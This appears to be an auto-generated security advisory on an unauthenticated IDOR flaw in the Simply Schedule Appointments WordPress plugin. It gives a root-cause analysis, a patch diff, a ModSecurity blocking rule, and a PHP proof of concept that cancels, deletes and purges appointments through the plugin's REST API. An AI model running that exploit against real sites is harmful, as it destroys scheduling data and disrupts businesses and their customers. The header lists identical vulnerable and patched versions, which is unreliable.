Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-16540: Simply Schedule Appointments < 1.6.12.6 Unauthenticated Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 1.6.12.6
Patched Version 1.6.12.6
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16540: The Simply Schedule Appointments WordPress plugin before version 1.6.12.6 contains an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in its REST API. The flaw affects the appointment model endpoints for group cancellation, group deletion, and appointment purging. It carries a CVSS score of 5.3 (Medium) and maps to CWE-639. Unauthenticated attackers can invoke destructive operations on appointment data by supplying a valid identifier token that is not sufficient for the action being performed.

Root Cause: The vulnerability resides in the REST route registration within `includes/class-appointment-model.php`. The routes for `group_cancel`, `group_delete`, and `purge_appointments` (lines 1524, 1541, and 1558 in the vulnerable version) used `get_items_permissions_check` as their `permission_callback`. That callback is designed for listing items and accepts broad, weak access signals, including the global token and the public_read_access_token. These tokens prove only read-level or site-wide context, not ownership or management rights over a group or the whole table. The patch replaces the callback with dedicated permission checks. `purge_appointments_permissions_check` now requires the `ssa_manage_others_appointments` capability because `purge_appointments()` deletes across the entire appointments table. `group_cancel_permissions_check` and `group_delete_permissions_check` now call `get_item_permissions_check`, which enforces a manager capability or verified ownership of the group through the lead appointment. Atomic Edge analysis confirms that the vulnerable logic trusted a user-controlled key (an ID or token) without binding it to the requested operation or resource scope.

Exploitation: An unauthenticated attacker targets the WordPress REST API namespace used by the plugin. The attacker sends a POST request to `/wp-json/simply-schedule-appointments/v1/appointments/group/{id}/cancel` or `/wp-json/simply-schedule-appointments/v1/appointments/group/{id}/delete`, or a GET request to `/wp-json/simply-schedule-appointments/v1/appointments/purge`, and supplies the weak token as a parameter (for example `token=` or `id_token=`). Because the pre-patch permission callback accepts the global token or public_read_access_token, the request passes authorization. The `group_cancel` and `group_delete` handlers then act on the group identified by the route ID. The `purge_appointments` handler deletes appointments across the table based on scope parameters such as `purge_past_appointments`. The attacker needs no WordPress account and no valid nonce beyond whatever the weak token provides.

Patch Analysis: The patch introduces three dedicated permission callbacks in `includes/class-appointment-model.php`. `purge_appointments_permissions_check` returns `current_user_can( ‘ssa_manage_others_appointments’ )`, denying the global token and public_read_access_token entirely. The group callbacks delegate to `get_item_permissions_check`, which already supports a manager capability or ownership of the group via the lead appointment (staff assignment, customer account, or the lead appointment’s id_token). Before the patch, the group routes shared the broad item-listing check. After the patch, each route has a callback scoped to its actual impact. The version bump to 1.6.12.6 and the Elementor constant changes are unrelated packaging updates.

Impact: Successful exploitation lets an unauthenticated attacker cancel or delete appointment groups and purge appointments across the site. This causes loss of scheduling data, denial of service for booked customers, and disruption of business operations. The flaw does not expose data directly or lead to code execution. The confidentiality, integrity, and availability impact is limited to appointment records, which matches the 5.3 CVSS rating.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -1524,7 +1524,7 @@
 				array(
 					'methods'             => WP_REST_Server::CREATABLE,
 					'callback'            => array( $this, 'group_cancel' ),
-					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'permission_callback' => array( $this, 'group_cancel_permissions_check' ),
 					'args'                => array(
 						'context' => array(
 							'default' => 'view',
@@ -1541,7 +1541,7 @@
 				array(
 					'methods'             => WP_REST_Server::CREATABLE,
 					'callback'            => array( $this, 'group_delete' ),
-					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'permission_callback' => array( $this, 'group_delete_permissions_check' ),
 					'args'                => array(
 						'context' => array(
 							'default' => 'view',
@@ -1558,7 +1558,7 @@
 				array(
 					'methods'             => WP_REST_Server::READABLE,
 					'callback'            => array( $this, 'purge_appointments' ),
-					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'permission_callback' => array( $this, 'purge_appointments_permissions_check' ),
 				),
 			)
 		);
@@ -1732,6 +1732,45 @@
 		return false;
 	}

+	/**
+	 * Strict permission check for the site-wide purge endpoint.
+	 *
+	 * purge_appointments() deletes across the whole appointments table based on
+	 * request scope params (purge_past_appointments, etc.) and never restricts to
+	 * a single appointment, so it must require a real manager capability — never a
+	 * per-appointment id_token, the global token, or the public_read_access_token,
+	 * each of which proves far narrower (or no) ownership.
+	 */
+	public function purge_appointments_permissions_check( $request ) {
+		return current_user_can( 'ssa_manage_others_appointments' );
+	}
+
+	/**
+	 * Permission check for the group-cancel endpoint.
+	 *
+	 * Unlike purge, this is scoped to one group: group_cancel() only touches rows
+	 * whose group_id matches the route id, and a group's group_id defaults to its
+	 * lead appointment's own id (see create_item). So it is gated like a single
+	 * appointment via get_item_permissions_check — a manager capability, or
+	 * verified ownership of the group through the lead appointment (staff
+	 * assignment, customer account, or that appointment's id_token). That gate
+	 * does not accept the global token or public_read_access_token, so the weak
+	 * site-wide signals stay out while legitimate staff and owner group management
+	 * keeps working. Kept separate from group_delete so the two can diverge.
+	 */
+	public function group_cancel_permissions_check( $request ) {
+		return $this->get_item_permissions_check( $request );
+	}
+
+	/**
+	 * Permission check for the group-delete endpoint. Same group-scoped gate as
+	 * group_cancel_permissions_check (see there for why) — kept separate so the
+	 * two can diverge. Deletes every appointment in the group named by the route id.
+	 */
+	public function group_delete_permissions_check( $request ) {
+		return $this->get_item_permissions_check( $request );
+	}
+
 	public function get_item_permissions_check( $request ) {
 		if ( current_user_can( 'ssa_manage_others_appointments' ) ) {
 			return true;
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.12.4';
+	const VERSION = '1.6.12.6';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.4';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.12.6';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.12.4';
+	const MINIMUM_PHP_VERSION = '1.6.12.6';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.12.4
+	 *  @version    1.6.12.6
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.12.4
+ * Version:     1.6.12.6
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.12.4
+ * @version 1.6.12.6
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -207,7 +207,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.12.4';
+	const VERSION = '1.6.12.6';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '248abb0fcbf9bebef5f7cba7358ae587fc9beeee',
+        'reference' => 'd1e067095fbd416f3841518fe4c755357605cb3e',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '248abb0fcbf9bebef5f7cba7358ae587fc9beeee',
+            'reference' => 'd1e067095fbd416f3841518fe4c755357605cb3e',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-16540
# Blocks unauthenticated IDOR abuse of the Simply Schedule Appointments REST routes.
# The vulnerable routes are destructive and should only be reachable by
# authenticated managers or verified owners. We deny requests to these
# routes that lack a WordPress authentication cookie.
SecRule REQUEST_URI "@rx ^/wp-json/simply-schedule-appointments/v[0-9]+/appointments/(group/[0-9]+/(cancel|delete)|purge)(/|?|$)" 
  "id:202616540,phase:2,deny,status:403,chain,msg:'CVE-2026-16540 via Simply Schedule Appointments REST IDOR',severity:'CRITICAL',tag:'CVE-2026-16540',tag:'attack-idor'"
    SecRule REQUEST_COOKIES_NAMES "!@rx ^wordpress_logged_in_" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16540 - Simply Schedule Appointments < 1.6.12.6 - Unauthenticated Insecure Direct Object Reference

// Configurable target
$target_url = 'http://localhost:8080';

// Weak token accepted by the pre-patch get_items_permissions_check.
// In a real attack the attacker obtains this from a public booking page or the plugin's public_read_access_token.
$weak_token = 'PUBLIC_READ_ACCESS_TOKEN_OR_GLOBAL_TOKEN';
$group_id   = 1; // Victim group ID, enumerable

function ssa_request( $method, $url, $body = null ) {
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, $method );
    curl_setopt( $ch, CURLOPT_TIMEOUT, 15 );
    if ( $body !== null ) {
        curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $body ) );
        curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/x-www-form-urlencoded' ) );
    }
    $resp = curl_exec( $ch );
    $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
    curl_close( $ch );
    return array( 'code' => $code, 'body' => $resp );
}

// Step 1: Cancel a victim group without authentication.
$cancel_url = $target_url . '/wp-json/simply-schedule-appointments/v1/appointments/group/' . $group_id . '/cancel';
$r1 = ssa_request( 'POST', $cancel_url, array( 'token' => $weak_token ) );
echo "[group_cancel] HTTP " . $r1['code'] . "n" . $r1['body'] . "nn";

// Step 2: Delete a victim group without authentication.
$delete_url = $target_url . '/wp-json/simply-schedule-appointments/v1/appointments/group/' . $group_id . '/delete';
$r2 = ssa_request( 'POST', $delete_url, array( 'token' => $weak_token ) );
echo "[group_delete] HTTP " . $r2['code'] . "n" . $r2['body'] . "nn";

// Step 3: Trigger a site-wide purge without authentication.
$purge_url = $target_url . '/wp-json/simply-schedule-appointments/v1/appointments/purge?token=' . urlencode( $weak_token ) . '&purge_past_appointments=1';
$r3 = ssa_request( 'GET', $purge_url );
echo "[purge_appointments] HTTP " . $r3['code'] . "n" . $r3['body'] . "n";

// A patched target (1.6.12.6+) returns 401/403 for these requests.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.